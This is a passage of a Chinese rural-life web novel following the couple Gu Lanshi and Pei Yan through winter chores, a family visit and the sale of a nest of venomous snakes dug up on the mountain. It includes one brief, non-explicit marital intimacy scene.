大黑懒洋洋从堂屋出来,站在房檐下抻了个懒腰,随后又甩甩毛,它如今不睡柴房了,麻袋上次被放在离西屋近的墙角,它就在那里安了窝。 吃过早食后,顾兰时往大锅里添水,裴厌在洗野薯,等下切成块好煮猪食。 野薯是之前上山挖的,特地给猪弄的口粮,在柴房角落里用土埋着,冬天只有干草和草根,猪吃了这个才好长膘。 过两天地面晒干后,还要再上山找找,这东西上面的草茎虽然枯萎了,但地下的薯根还在。 有吃不饱饭的人家,冬天会去挖这些充饥。 水烧开后,顾兰时先舀了两瓢给鸡鸭烫谷糠,搅拌前又抓一把磨好的柴豆面丢进去。 牲口禽畜每天要吃两三顿,这些活他俩再熟悉不过。 忙完后,两人出门去河边挑水。 出篱笆门的时候,见大黑也想出来,顾兰时看一眼往河边去的路,外面野地没人铲雪,又是泥又是水的,就赶大黑回去,省得它沾一身泥水脏兮兮,冬天这么冷,弄脏了不好洗。 脚下捡着硬实的地面走,避开水洼,尽管如此,鞋底还是粘了烂泥。 到河边之后,在裴厌铺出来的石头池子前停下,这里的水有石头铺底,显得更干净一点。 顾兰时卸下肩上扁担,石头池子这边的水是引过来的,远比河里的水平缓。 他看一眼河水,有结冰的痕迹,但很快被湍急的水流冲走冲碎,天没有那么冷,还无法在河面结一层厚实的冰。 而石头池子这边,因水流不够急,结了一大块冰覆盖在水上。 裴厌在岸边找好了一块石头,搬起来随手丢进水里,较薄的冰面被砸个洞穿,水花从洞口溅起来,冰面随着缺口蔓延出道道裂痕。 他打满两桶带着碎冰的水,又接过顾兰时带来的两个木桶打水,都只打了半桶。 见状,顾兰时笑道:“还是打满吧,又没有多沉。” 裴厌没听他的,开口道:“路上有湿泥不好走。” 为这事不值得争执,顾兰时笑眯眯用扁担两头的钩子把木桶勾住,半蹲下一用力,就将两桶水挑起来,跟在裴厌后面往回走。 挑满水缸后,两人才得空歇歇。 见太阳出来了,顾兰时提了针线篮子坐在墙下,晒着太阳纳鞋底。 裴厌没别的事做,抓了把柿子干拎了把椅子出来,在旁边坐下后张开手,示意顾兰时也吃,他自己拿了一根慢慢嚼。 这会儿没有风,太阳越来越暖和,晒得人眯起眼睛,却舍不得离开。 顾兰时纳了几针抬头看看天,说:“今天暖和,要不洗洗头发,好几天没洗了。” “行。”裴厌答应道,又说:“我吃完就去烧水。” “嗯,不急。”顾兰时笑一下,低头又干活。 这双鞋是给裴厌做的,没填棉花,打算弄一双单鞋,来年开春后穿。 如今有毛驴了,去镇上不用走路,不过平时上山只能靠走路。 山里草木石头多,蛇虫也有,草鞋会露出脚面,到底不如布鞋。 再说了,走亲戚什么的,也得有一两双没有补丁的好鞋子备着。 裴厌吃完柿子干,起身大步往灶房去烧水。 太阳很大,洗完后两人坐在院里一起晒头发。 见顾兰时一头乌发顺滑厚实,裴厌没忍住,拿了木梳说要给他梳头发。 顾兰时转过身背对着他,一脸轻松笑意,问道:“长不长?太长的话还是剪剪。” 裴厌梳了两下,开口道:“不长,过段时间再剪。” 头发梳开梳顺滑后,越发显得柔软好看,还散发出一股野澡珠的淡淡香气,闻着就干净。 乡下人很少给头发上抹桂花油、茉莉花油之类的东西,哪有那些闲钱。 梳完后,顾兰时笑着说:“我也给你梳梳。” 于是裴厌把木梳给他,乖乖转过身。 等晒干之后,梳好的头发披散在背后,光滑而柔顺,裴厌头发丝稍硬些,也比顾兰时发丝粗,他率先缠好头发,后颈没有干扰,只觉松快了许多。 顾兰时闲的没事正在打络子,想着打完这个再束发。 见他头发披在后面,裴厌摸了几把,手指插进去从上往下梳,顺滑的细发丝从指缝中滑过,像是软绸子一样。 他越摸越上瘾,到最后捉起一缕头发轻嗅,竟有些痴迷之态。 家里只有他们两个,顾兰时早习惯了没事时他的动手动脚,因此背着身只管打络子,连头也没回。 裴厌从来不知道,头发竟然也能引诱人心,他情不自禁,插进发间的五指并拢,用上了一点力气,想将这光滑的头发全部抓在手里,一点都不要露出去。 不知不觉间,他气息加重,从心底燃起阵阵燥热。 手里的络子刚打完,顾兰时还没拿起来赏看,头皮忽然一紧,扯得他头往后仰,他轻嘶一声,显然吃痛了。 裴厌陡然回过神,松开手,在他转头看过来后,抿着薄唇低下头,一副干了错事的模样,低声道:“不小心力气大了点,弄疼你了。” 疼就那么一下的事,顾兰时不知道他怎么突然对自己头发这么有兴致,笑着说:“没什么,不疼了,木梳给我,该束起来了。” 裴厌却有点舍不得,他还想摸,甚至从心底涌上一股自己都说不清的感受,越发焦躁,直勾勾盯着眼前的乌发。 顾兰时没等到梳子,心中疑惑,正要回头自己拿,不想突然被抱起腾空,他吓了一跳,问道:“怎么了?” 裴厌没说话,抱着他直接往屋里走。 如此着急忙慌,顾兰时瞧他神色,薄唇微抿,一张俊脸显出几分冷硬,忽然就悟过来,垂下眼帘不再说话了。 每次裴厌动情的时候,一开始没什么表情,一旦上了炕进去,神色就又变了,一双眼睛露出欲念,左脸上的红色长疤显出几分狰狞,每次疯劲上来,疤痕带上了别样的凶恶色彩。 这种事顾兰时不敢同别人说,他没念过书,更不知道该怎么形容,只能默默承受,受不住时便哭着去打裴厌,甚至上嘴咬,却常常适得其反,裴厌有一回连眼睛都红了,不是害怕而是兴奋。 为此,他暗地里没少琢磨应对的法子,可无论想了什么办法,每次行房的时候,总被裴厌弄的头脑晕乎昏沉,就什么都忘了。 砰—— 房门被重重踢上,很快就有了其他动静。 * 晌午,青烟从烟囱中飘出来,灶房里,裴厌正在添柴烧火,锅上垒了三层笼屉,白汽已经冒出来好一会儿。 加上锅里的一屉,一共是四屉,其中两屉是糙馒头,一屉是马齿菜包子,另外一屉是肉包子和白面馒头。 炕上,顾兰时在歇息,他包完包子后,交代了裴厌烧火的事宜,就进来躺下了。 昨天晚上本来想发火,可一看裴厌那副无措慌张的样子,他只能狠狠闭上眼睛翻个身,眼不见为净。 好在睡一觉醒来没那么难受了,看裴厌也顺眼了。 听见房门被推开的声音,他睁开眼,裴厌用碗端着包子进来。 肉包子用白面包的,碗里一共是四个。 “熟了,快趁热吃。”裴厌很高兴,端着碗坐在炕边。 顾兰时坐起来后,顺手给腰后放了个枕头,他确实饿了,直接拿起一个。 “烫,吹吹。”裴厌坐在炕边叮嘱,眼巴巴看着夫郎,见对方没有生气,心才落回肚子里。 顾兰时咬一口绵软的肉包子,肉馅露出来,登时散发出更浓郁的肉香味道。 肉汁很多,沾在包子上,连包子皮都是香喷喷的。 他来不及咽下就含糊说道:“好吃。” 裴厌露出个笑,自己也拿了个包子尝,果然很香。 有油水的东西谁不爱吃,两人狼吞虎咽,三两口就吃完一个包子。 “锅里还有,吃完我再去拿。”裴厌说道。 “嗯。”顾兰时哪里顾得上说话,今天一共蒸了八个肉包子,个头不算小,不过照这架势,他俩一顿就能干掉。 肉汁流在手上,顾兰时舔了舔,见裴厌起身,他说道:“一人再吃一个,剩下两个,留着后天吃,不然全吃完了。” 他笑了下又说:“早知道多包几个。” 裴厌说道:“下回再蒸馒头,我去买几斤肉,全包成包子。” 热乎乎的肉包子吃起来十分过瘾,连身上的难受都消减了几分,顾兰时点着头欢快开口:“好,到时候咱们敞开吃。” 见夫郎这么高兴,别说几斤肉,就是把自己身上的肉剜下来,裴厌都能不眨眼,好在顾兰时不吃人。 一吹风,寒意从外面透进来,但两人吃了肉包子,从胃里肚里都是暖的,全然不畏惧寒冷。 第93章 晒了几天,地面又变得坚实干燥,除了山里的背阴处还留有残雪,别处早没了。 脚下的枯叶十分脆弱,踩上去就碎成渣子,下过大雪,林子里有不少被大雪压断的树枝,要么本来就枯朽了,稍微遇到点外力就直接断掉。 顾兰时背着麻绳和裴厌走近树林,见地上有现成的树枝,两人放下麻绳,弯腰先把能用的树枝捡到一起。 “没了,我去那边看看。”他把两根树枝扔过去,空地上已经堆了一堆。 “好,别走远了。”裴厌挑好了一棵树,将柴刀别在腰后,三两下爬上树,找个落脚点站好,抽出柴刀砍下合适的树枝。 顾兰时听着砍柴的声音往林子深处走,把能看见的枯枝都捡了,抱了一堆回来,哐当先扔在柴堆上,抬头看一眼裴厌,叮嘱道:“小心些,站稳了再挥刀。” “知道了。”裴厌答应道。 见状,顾兰时又往旁边去,地上还有几根呢,都捡回来,弄一车明天好拉去镇上卖。 一边走一边寻找,不知不觉,发现砍柴声明显变小后,他连忙转了方向,不再往深处去,抱着木柴折返。 冬天进山,好处就是不怕踩到蛇,别的虫子也少,都钻进土洞里过冬避寒了。 裴厌站在树上,一手攀着主干,在他走近后开口道:“正说没看见你。” 顾兰时笑着说:“走远了一点。” 他把柴火扔在地上,见裴厌把柴刀扔下来,人从树上滑下,他也过去捡砍落的树枝。 捡完后,顾兰时拍打身上木屑碎渣。 裴厌拾起地上竹筒,打开喝了几口水,说道:“不太热了,赶快喝完,再砍一些就回去。” “好。”顾兰时接过竹筒,将剩下的温水一饮而尽,他看看四周,最后坐在高处的一棵树底下歇脚。 裴厌再次爬上去砍树枝,山林空旷,砍柴的动静带了一点回音。 不远处,高处的树枝上落下六七只麻雀,冬天树木凋零,树干光秃秃的,和麻雀褐色的羽毛十分相近。 顾兰时眼睛好,坐下没事干就瞧它们在做什么。 砍树的动静没有惊走它们,在枝头蹦跳着,时而啄啄羽毛,没一会儿,便陆续飞下来,落在离人较远的地上,小爪子在土里刨来刨去,不时低头啄两口。 顾兰时猜测,应该是在吃草籽,冬天除了这个,也没什么别的好吃。 在树上时离得远还看不太清,这会儿落在地上就十分明显,几只麻雀个个都肥嘟嘟的,也不知是过冬的羽毛太厚,还是秋天草木丰茂时吃的圆滚滚,瞧着有几分讨喜,跟圆球儿似的。 砍下来的树枝倏然掉落,砸下的声响惊动了雀儿,六七只全都拍打翅膀飞远了。 没了麻雀看,顾兰时捡起地上一根小树枝,随手在旁边地上划来划去。 看见裴厌撂了柴刀,从树上下来后,他丢掉手里穿了好几片枯叶的树枝,起来要捡柴。 裴厌制止了他,说:“不用,我再砍一些,等会儿一起捡。” 于是顾兰时又坐回去,捡起刚才的树枝,用另一头去扎地上的枯叶,弄了厚厚一沓。 裴厌站在树上朝下看一眼,见他独自玩耍,跟小孩一样,情不自禁笑了下,也没打搅,依旧干自己的活。 等砍完柴后,两人用麻绳将树枝捆好,裴厌还用柴刀削了一根长树枝,当做扁担,把两大捆柴火挑起来。 今天弄的柴火不少,他挑的是大头,顾兰时用麻绳背了一捆,不算太沉重。 往山下走,裴厌看一眼天上太阳,说:“吃过晌午饭,我打弹弓上山,看能不能打到兔子。” 想着在家也没事,顾兰时问道:“我还跟你一起上来?” 裴厌笑着说:“我自己就行,人多动静大,也要往深处走走,我随便转转,能打到最好,打不到就回去了。” 他赶路惯了,多跑几趟不成问题,顾兰时到底是个双儿,不像汉子那样常常在外奔波,今天早上进山捡柴火,就走得挺远了,没必要再上来。 听他这样说,顾兰时点点头:“好,那你记得别走太深,谁知道老林子里有什么,打不到咱们还有柴火卖。” “嗯。”裴厌答应着,一手护着肩上树枝稳稳走下山坡。 见远处像是有几个人影,顾兰时一边走一边张望两眼,近前后才发现是李梅一家子。 “叔,婶子,也来打柴?”他还没到跟前就出了声,裴厌自然也跟着喊。 李河有点木讷,但别人都问话了,不答应一声实在说不过去,他开口道:“你们来得早。” “早起没别的事。”裴厌答了一句。 顾兰时看向李梅,说:“梅哥儿,近来没什么事的话,过来转转,咱俩也说说话。” “好。”李梅点点头答应,又推推弟弟让喊人。 “兰哥哥。”李保儿说完,又去看裴厌,他年纪小,眼里明显带了畏惧,一声哥哥怎么也叫不出口,甚至往人后躲,弄的李梅和他娘方小枝有些尴尬。 “年纪小,认生,以后熟了就好了。”顾兰时笑着开口,给了他一家台阶下。 “可不是。”方小枝连忙接了话,说:“这小子,平时在家里还好,一出门就不爱说话。” “时候也不早了,婶子,我们先回去了。”顾兰时说道。 “好好。”方小枝在他俩走之后,伸出一根指头戳了戳保儿脑门,随后又叹口气,到底没有责骂。 走远之后,顾兰时转头瞧了一眼裴厌脸色,开口道:“保儿其实挺乖的,可惜被他们隔壁赵家常常欺负,连孩子都不爱说话了,遇着长相稍冷硬的汉子,更不敢凑上前。” 裴厌笑了一声,说:“我知道,又不是什么大事。” 他顿一下,问道:“你是说,我长得凶?” 顾兰时不爱扯谎,一听这话,跨过脚下凸起的地方,才笑着开口:“是有一点凶。” 见裴厌眼神有点受伤,连薄唇都抿了下,他笑眯眯说:“可那是别人,我现在看你,一点都不凶。” “而且……”他故意卖了个关子,见裴厌眼巴巴望过来,才弯了弯眼睛,小声说:“你长得也好看。” 裴厌愣一下,抬手摸了摸自己左脸,脸上的长疤依旧在,受伤时划得太深,愈合后伤疤就留了下来,这么多年都没有恢复,也再无恢复的可能。 顾兰时看他摸疤痕,一下子急了:“哎呀,我又没说那个,做什么去摸它,别看那条疤,你本来就长得好,再说了,我看惯了,也不觉得丑,一条疤而已,有什么要紧的。” 裴厌放下手,眼眸微垂,过了一会儿才笑着说:“嗯,没什么要紧的。” 不过一条伤疤而已,再难看,顾兰时不嫌弃就好了。 见他笑了,脸上没有任何勉强之色,顾兰时这才放心,自己早就看惯了,有时甚至会直接忽略那条疤的存在。 平时他俩都不提这件事,没想到今天就说岔了话。 山路崎岖,爬上一个坡又下一个坡,快到前山的时候,顾兰时不放心,转头问道:“真不生气?” 裴厌看向他,以前冷峻的眉宇全是柔和,笑着开口:“这有什么好生气的,你不在意,我也不在意,别人怎么看那是他们的事,与咱们无关。” 如此豁达,果然没生气,顾兰时一下子高兴了,笑眯眯赞同:“嗯,咱俩过咱俩的日子,不理会就完了。” 因这条长疤的存在,背地里有些闲话和指指点点,他俩其实知道一点,眼下想开了,心里那点疙瘩也就散了,爱嚼舌根的他们也管不了,何必自寻烦恼。 两人高高兴兴下了山。 一进门,大黑跑过来摇尾巴,只是两个时辰没见而已,它尾巴摇的十分欢快,不知道的,还以为多少天没见了。 顾兰时放下木柴,取了甩子站在院门外甩打身上灰尘,弄干净后,将布甩子递给裴厌,他脚步加快,洗把手进灶房就开始忙碌。 晌午饭做的很简单,炒一盆菘菜热了几个馒头,吃饱后歇一歇,又要忙着喂牲口。 裴厌取了弹弓和麻绳,在窗沿上抓一把之前捡的小石块,说道:“如今天短,我现在就上山转转。” “好,你去,早点回来,别等太阳落山才往下走。”顾兰时答应着,见大黑已经吃完了,他说道:“要不带上狗,好给你做个伴,我在家里,不怕有人来。” “行。”裴厌说着,吹声口哨,大黑耳朵一竖,立马就跟他往外走。 “记得带上篱笆门,我等会儿要去后院喂猪。”顾兰时站在院门口叮嘱道,听见答应后,自己先把院门关上了。 后山即便来的人少,也得警惕些。 * 太阳往西边走了,顾兰时坐在院里纳鞋底,他开了院门,时不时抬头看一眼。 篱笆门关着,没有上门闩,裴厌回来的话推开就行。 差不多再有一个时辰,天就黑了,不知道裴厌有没有打到兔子,没打到也该往山下走了。 终于,听到狗叫声后,他放下鞋底,匆匆出门去看。 一打开篱笆门,就看见快出树林的裴厌。 “我就说,也该回来了。”顾兰时笑着开口,视线挪到裴厌右手上的东西,他一下子龇牙咧嘴的,有点惊讶也有点不适。 见他如此神色,裴厌笑出声,看了眼自己手里提着的一捆蛇说:“兔子没找到,估计都缩起来了,看见有土洞,想碰碰运气看是不是兔子洞,不想挖出来一看是蛇洞。” “这有七八条吧。”顾兰时看着花色不一的蛇纠缠在一起扭动身躯,胳膊上的鸡皮疙瘩都起来了。 裴厌说道:“十条,都是毒蛇,有的毒性不烈。” 随着他靠近,顾兰时下意识往后退了两步。 裴厌停住脚,笑着说:“没事,都用石头拍晕了,不会咬人,明天拿去药铺卖,有三条不小心拍死了,不过蛇胆肯定好着,说不定能卖个好价钱。” 他说完又问:“你吃不吃蛇肉?吃的话留两条。” 穷人饿极了什么都吃,尤其缺吃少穿的冬天。 村里年年过冬时都有老少汉子上山挖蛇洞,掏出冬眠的蛇回家就能吃上点肉,要是毒蛇的话,卖给药铺能换点钱。 山上各种野兽虫子很多,土洞树洞很常见,没经验的人上山不一定能找到蛇洞,挖蛇也得看运气和眼力。 裴厌不怕蛇,以前也捉过蛇吃,今天只能说是误打误撞,碰到这么一窝。 这还算少的,有的蛇窝大,挖出来的土洞里足足有几十条,斑斓花色还都不同,看得眼睛都能花了,那扭动的场面才叫悚然。 顾兰时以前在家的时候不缺吃的,再加上他爹有点怕蛇,所以家里很少吃蛇肉,对这个东西也不怎么感兴趣,闻言连忙摆摆手,说:“不了不了,我不爱吃蛇肉。” 见裴厌还站在对面,他没忍住,催促道:“你先进去,赶快找个麻袋装起来。” 见他害怕,裴厌立马进门,走了一段路后,回头一看,顾兰时还站在门外,探头探脑看着他。 大黑不知道顾兰时为什么要在门外,十分忠心地陪着。 等裴厌进了院门后,他才喊上狗一起回来,关好篱笆门上了门闩,一步一操心往里走。 直到看见裴厌把装蛇的麻袋结结实实绑好后,他才跨进院门,隔着袖子摸摸自己胳膊,说:“还是把麻袋放在外面菜地,就算爬出来也不怕它们进门。” 裴厌自然照办,提着麻袋从顾兰时旁边经过时,特地离远了,麻袋也拎在另一只手里。 关上院门后,顾兰时才松一口气,又连忙给他舀水,说:“快洗手,多洗两遍。” 裴厌笑着蹲下,对夫郎的话没有任何异议。 第94章 早起,太阳被云挡住,天色不怎么好,好在没有下雪的迹象。 顾兰时打着哈欠从房里出来,裴厌正在扫院子。 “怎么没多睡一会儿?”裴厌问道。 顾兰时摇摇头,站在堂屋门口伸个懒腰,带着困倦说道:“不了,总是做梦,几条蛇在梦里扭来扭去的,花色又吓人,我还梦到它们扭在一起,变成一条好粗好粗的蛇,想要咬我,我一跑,就醒来了。” 裴厌笑着,用大扫帚将院里的一点杂物木屑扫成一堆,说道:“没事,今天就去卖了。” 顾兰时担心地问道:“你看了没,没跑出来吧。” “没有,麻袋没有破洞,口也扎紧了,蛇又没爪子和尖喙,弄不破。”裴厌说道,他起来后头一件事就是到院子外面看麻袋,蛇一条不少,都在里头。 树叶早落光了,院子比秋天好扫,他俩平时又不乱扔东西,没几片要扫的,他把大扫帚靠在墙上,抬脚往后院走,一夜过去,牲口圈里的粪该铲干净,也得给毛驴放点草料吃。 顾兰时见院门开了半扇,到底没鼓起勇气出去看一眼,裴厌向来靠谱,他说麻袋好着那肯定就好着。 说服了自己后,他进灶房烧水弄早食,从案台底下的黑陶罐里摸出两枚咸鸭蛋。 裴厌等会儿要赶车去镇上,驴车跑起来肯定会迎风,得吃饱吃暖和了,才不会太冷。 说起赶车,握缰绳的手常常露在外面,冷风一吹冻得慌,甚至可能皲裂,他想起家里那几张鞣制好的兔皮。 他曾在镇上见过有人手上戴着毛皮手套子,能防风御寒,不如给裴厌做一双,以后赶车是常事,万一手冻坏了,那几张皮子卖的钱估计还不够抓药使的。 * 说是冬闲,乡下人总有活干。 两人把昨天打的柴火装车,又用麻绳捆好,裴厌牵了毛驴过来套车。 顾兰时取下木头门槛,好让驴车出去,他这会儿才出了门,往西边一看,麻袋放在土墙下,口果然扎的好好的,没有露出一点。 十条蛇不少呢,还有两条较大的,能明显看到麻袋里有长条状的东西在动。 他心里有点发毛,要是别的东西,不用裴厌动手,他就过去提起来撂车上,今天还是算了,实在没那个胆量。 驶过门前后,裴厌让毛驴停下,自己走过去拎起麻袋。 他这么一动,袋子里的蛇明显没死,好几条都在扭动,看得顾兰时往后退了半步。 顾兰时见他随手把麻袋塞进空隙里,忍不住说道:“往后放放,别离你太近。” “把口再扎紧点,路上颠簸呢。”他话都多起来,怎么都有点不放心。 “放心,跑不出来。”裴厌嘴上这么说,还是把麻袋口紧了紧。 顾兰时看一眼,说:“不行不行,我再拿一条麻袋,倒着装进去,这样这个口子就在另一个麻袋最里面。” 他说完就回去,特地捡了一条没有补丁的麻袋,出来递给裴厌,让他按自己的话又套一层。 裴厌把麻袋放好,笑着说:“行了,天色不早了,我早点卖完就回来了。” 顾兰时点点头,叮嘱道:“去吧,路上慢些,别赶太快,记得把口鼻捂好,省得吸凉气。” 冬天坐车太冷,他缝了两条布巾,比较长也比较大,围起来连脖子都能护住,驴车跑起来风大,刚好用上。 “我知道了。”裴厌答应一声,牵着毛驴往外走,他自己开了篱笆门,出去后又掩上。 顾兰时回到堂屋,大黑才起,狗嘴大张着打哈欠,和人倒挺像,看见主人过来,它低头弄脑袋蹭了蹭顾兰时腿,喉咙里呜咽两声,显然是要吃的。 “刚睡醒就吃,去吧,盆里有。”顾兰时嘴上嫌弃,实际吃完早食后,就给它的食盆里的掰了两个糙馒头,连水碗也用热水烫开了昨天晚上结的冰。 大黑的食盆在外面屋檐下,它懒洋洋走出去吃,一大早比人还懒。 今天没太阳,炕上有点余温,顾兰时脱了鞋,从角落搬了炕桌放在中间,提来针线篮子剪鞋面。 有狗在家里,他低头忙碌,没有管外面,不一会儿鞋面剪好了,拿过纳好的鞋底开始上鞋面。 等做好两双鞋,他仰起头揉了好一会儿脖子,随后把新鞋子放好,等裴厌回来试试就知道合不合脚。 窗子只开了一条缝隙,他下炕穿好鞋,出来才发现太阳出来了,外头没有风。 去镇上卖柴火,不一定什么时候回来,他闲的没事,干脆拿了钥匙锁门,回家转转。 大黑想跟出来,被他撵回去看家,冬天日子不好过,万一有人铤而走险做贼呢。 一进村子,好几家门前都有人,有的在门槛上坐着,有的在土墙下坐着,都在晒太阳,几个小孩跑来跑去,尖叫着,也不知在高兴什么。 喊了几声婶子老嬷,顾兰时就进了家门,二黑从后院跑出来冲着外面叫,一看是他,立马摇起尾巴。 “娘。”他朝屋里喊。 “哎,在屋里呢,快进来。”苗秋莲坐在炕上朝外面喊。 等顾兰时进屋,看见竹哥儿也坐在炕上,他脱了鞋上去,竹哥儿分了他一角被子盖住腿脚。 “缝衣裳呢。”顾兰时看着他手里的活说道。 不等竹哥儿说话,苗秋莲开口道:“过了这个年,他也十三了,趁早把针线活学好,不然到了婆家,连衣裳都不会做,人家不得找我。” 她坐在炕桌对面,直起腰板昂着头看一眼,说:“特地给裁了一块布,反正给他自己做,这样才细心呢,不然还得别人穿做坏的衣裳。” 在这些事上他娘较为严厉,竹哥儿很有眼色,没敢说什么,低头认真缝线。 顾兰时见弟弟有点蔫,笑着说:“我看缝的还行,没出错,再练练,手艺就好了。” 他抬头又说:“娘,怎么没出去,外头太阳已经大了。” 苗秋莲纳一针鞋底,说道:“嗐,坐在院里,谁路过都能看见,没事干的,势必要进来说闲话,左一句右一句的,我这不是怕竹哥儿分心,还不如在屋里,人少清净,也省得他偷懒。” 她说完问道:“姑爷做什么?没跟着一起来。” 顾兰时说:“去镇上卖柴火了,昨天想上山打兔子,没打到,挖了一窝蛇,都是毒蛇,药铺里收,他今天顺便带去卖。” 正说着话,顾铁山进屋了,一听蛇,他轻嘶一声,嫌弃又有点怕。 顾兰时笑着问道。“爹,才做什么去了,进门没看见你,狗儿呢?” 顾铁山打开炕尾箱子,从里头的布兜里抓了几把花生出来,放在炕桌上,说:“我刚在后院喂牲口,狗儿跟着你大哥二哥去镇上了,套了驴车去的,三个都是懒蛋,正经事不做,只是去镇上逛,连路也不想走。” “看我,都忘了还有这东西。”苗秋莲把炕桌上的剪子挪开,又对顾铁山说:“不是还有点黄冰糖,给兰哥儿包了。” 她看着顾兰时说道:“前天去赶大集,买了些,你带回去,和梨子煮,跟姑爷都喝一些,对身子好。” “知道了娘。”顾兰时笑眯眯答应。 顾铁山包了几块黄冰糖进来,给他放在桌上,虽然怕蛇,但还是忍不住问道:“抓了几条?” “十条呢。”顾兰时想起昨天看到的画面,说道:“爹你是没看见,那蛇扭成一团,我鸡皮疙瘩都起来了,偏偏裴厌一点不怕,也不知胆子怎么长的。” “胆子是够大的。”顾铁山一听他说起那场面,脸上的皮肉拧巴在一起,在炕沿坐下后又开口道:“不过蛇胆挺值钱的,听人说越毒价越高呢。” 顾兰时说道:“这个就不清楚了,我没敢多问他,昨儿一回来,提着蛇还问我要不要吃蛇肉,我哪里敢,让他都拿去卖,咱们也不少这一口吃的。” “对,咱们不缺这一口。”这话顾铁山无比赞同。 他小时候差点被蛇咬,还是条毒蛇,要不是他爹,也就是顾兰时爷爷,及时用铁锨拍死那条蛇,他说不定都没了。 从那以后他就十分怕蛇,从来不和村里的汉子去山上抓蛇吃。 顾兰时拿了一个花生剥着吃,一转头见竹哥儿眼巴巴看他,他没忍住笑了,把剥好的花生豆递过去。 早上挨了骂,导致顾兰竹这会儿都不敢看他娘脸色,也没敢伸手拿花生,但又馋,只能用这一招。 苗秋莲瞪他一眼,发话道:“吃吧,作什么妖。” 竹哥儿一下子喜笑颜开,放下手里的活高高兴兴剥起花生。 见他没出息的样儿,苗秋莲笑骂道:“跟你那三个哥哥一模一样,又懒又馋。” 有了吃的,竹哥儿挨骂也不丧气,把剥好的花生放到顾兰时手里,笑完了眼睛,说:“兰时哥哥,十六去赶大集,你去不去?” 顾兰时吃了两粒花生,说:“十六?今天十四了,那就是后天。” 苗秋莲也剥了两个花生,开口道:“听人说镇上来了一帮耍猴耍把式的,热闹,十六那天是大集,咱们也去凑凑热闹。” “行。”顾兰时答应道,好久没赶过大集了。 往年只有冬闲时,不用操心地里的活,才能安安心心在集会上闲逛半天。 镇上的大集会可热闹了,不止街上有卖各种东西的,就连镇外的空地上,都会摆长龙般的摊子。 要是运气好,碰见镇上有钱人家过寿或者办喜事,还会散糖饼给众人吃。 至于裴厌,他想都不用想,只要提了,肯定会一起去。 第95章 在屋里说着话,外面二黑忽然叫起来,顾铁山刚起身要出去看,就听见外头李月的声音响起。 “娘。”大着肚子的李月走进院子,二黑认得她,不再叫了。 苗秋莲连忙掀开被子下炕,顾兰时和竹哥儿也下来穿好鞋。 见她一脸笑意,没什么大事,只是过来说说闲话,苗秋莲才放心。 “外头暖和,娘,咱们坐院里。”李月笑着说。 闻言,竹哥儿把手中几粒花生全塞进嘴里,给她搬来了椅子。 儿媳过来,顾铁山不好坐在院里跟他们一起闲聊,同苗秋莲说一声就出了门,二黑摇着尾巴跟他一起出去。 顾兰时把那些花生用碟子端出来,又给几人都倒了一碗热水,在旁边坐下后看看李月肚子,问道:“二嫂,最近胃口怎么样?” 李月摸摸肚子,说:“比夏天好多了,能吃进去,你二哥买了坛腌梅子,吃一吃胃口渐渐好了。” 苗秋莲在旁边说道:“爱吃的话,吃完让狗娃子再给你买一坛。” 人常说酸儿辣女,这么嗜酸,说不定又是个大胖孙子。 竹哥儿偷偷笑了下,狗娃子是他二哥小名,如今长大成亲了,他二哥不喜欢被喊小名,他娘也只有背着他二哥时才这么喊。 “明年正月下旬的日子,虽然过了年,那会儿也还冷,稳婆那边要提早说,到时候只管过去接人就好了。”苗秋莲念叨着。 李月笑道:“前两天他还说呢,赶着过年前去趟稳婆家。” 苗秋莲又道:“天冷了,比不上之前,你肚子大了,不好做饭,等狗娃子回来跟他说一声,你俩带衡儿回来吃饭,要是路不好走,就让狗娃子给你提回去,这么冷的天,切菜手指头冻得慌,手一冷,容易着凉。” 一听不用自己做饭,李月连忙答应:“好好,娘,等他回来我就说。” 和顾兰时裴厌一样,她跟顾兰河分家出去,家里大人只有两个,好在这些年都惯了,挺着大肚子也能干农活,但歇一歇有人搭把手,肯定是最好的。 婆婆既然愿意帮一把,无非就是给老家拿些米面和菜蔬鸡蛋。 几人说着闲话,邻居刘桂花听见动静,带着儿媳妇过来串门子,院里说笑声更大。 顾兰时放下茶碗,余光瞥到院门外有人,他连忙看过去,是裴厌回来了。 他连忙起身,笑道:“娘,婶子,我先回去了。” “岳母,婶子。”裴厌原本不打算在门外停下,只是听到院里有动静,下意识张望看了一眼,不想顾兰时也在。 “好好,快去。”见他匆匆外面走,苗秋莲忽然想起包好的黄冰糖没拿。 糖到底稀罕,她买的不多,匀给顾兰时一点再分不出给儿媳的,只好当没想起来,回头兰哥儿过来再给他就行了。 驴车碾着土路颠簸往前,一车柴火卖了个精光,车上只有两个叠在一起的空麻袋,长蛇一条都不剩。 很快出了村子,顾兰时走在裴厌旁边,笑着问道:“冷不冷?” “不冷,今天有太阳,比阴天赶车强多了。”裴厌眼睛里全是笑意,他有点迫不及待,只是在外面不好明说,便压下了心中喜悦,一路只管往前走。 他俩出村之后,坐在土墙下晒暖的几个老人才收回视线。 周平他老娘因和顾家关系好,上回她孙子周石头成亲,裴厌和顾兰时还拿了一坛子白水村的好酒。 她虽老了,但眼不花耳不聋,平时对家里的东西都看得紧,成亲这样的大事,亲戚朋友提来的各式酒水点心,谁家拿了什么,她都一一看着记着,心里门儿清,那天有人拿的东西不怎么值钱,她心里嫌弃,但接礼的手却没停过。 “成了亲就是不一样,稳重了。”周平老娘对旁边两个老太太说道。 对顾兰时她还是挺稀罕的,模样长得好,又是邻居,从小看到大的,要不是顾家没那个意思,前两年她还琢磨着要说给她大孙子周石头呢。 她本意是想顺嘴夸两句裴厌,之前顾兰时给娘家送菜的时候,他们家也跟着沾了光,可旁边两个老太太畏惧裴厌,愣是当自己耳背没听到。 活阎王岂是好惹的,万一长了什么顺风耳,听见她们在这里多嘴,打上门来可不得了,裴厌发起火来,甭管男女老少,逮着就是一顿好打,她俩一把老骨头,哪能受得住一顿毒打。 * 到家之后,驴车停在院里宽敞处,顾兰时看一眼车上的麻袋,说道:“麻袋还是洗洗再用。” 他心里有点膈应,转头看向裴厌说:“你洗吧,我有点不敢动这个。” 裴厌笑着答应:“好,我来洗。” “饿不饿?”顾兰时说着,就把袖边挽了起来。 裴厌解开车套,一双眼睛很亮,脸上笑意也止不住。 顾兰时没反应过来,带着点疑惑问道:“你怎么这么高兴?” 裴厌从怀里掏出荷包,直接打开让他看。 打开的荷包递到了自己面前,顾兰时蒙蒙的,忘记伸手接,低头从荷包口往里看,当看见几块银锭后,他惊讶极了,把脸凑得更近,以为自己看错了。 要不是荷包挡着,顾兰时的脸都能贴到银子上,裴厌笑出了声,说:“一共十六两八钱,柴火卖了五十文。” “这么多。”顾兰时再抬起头,眼睛也亮了。 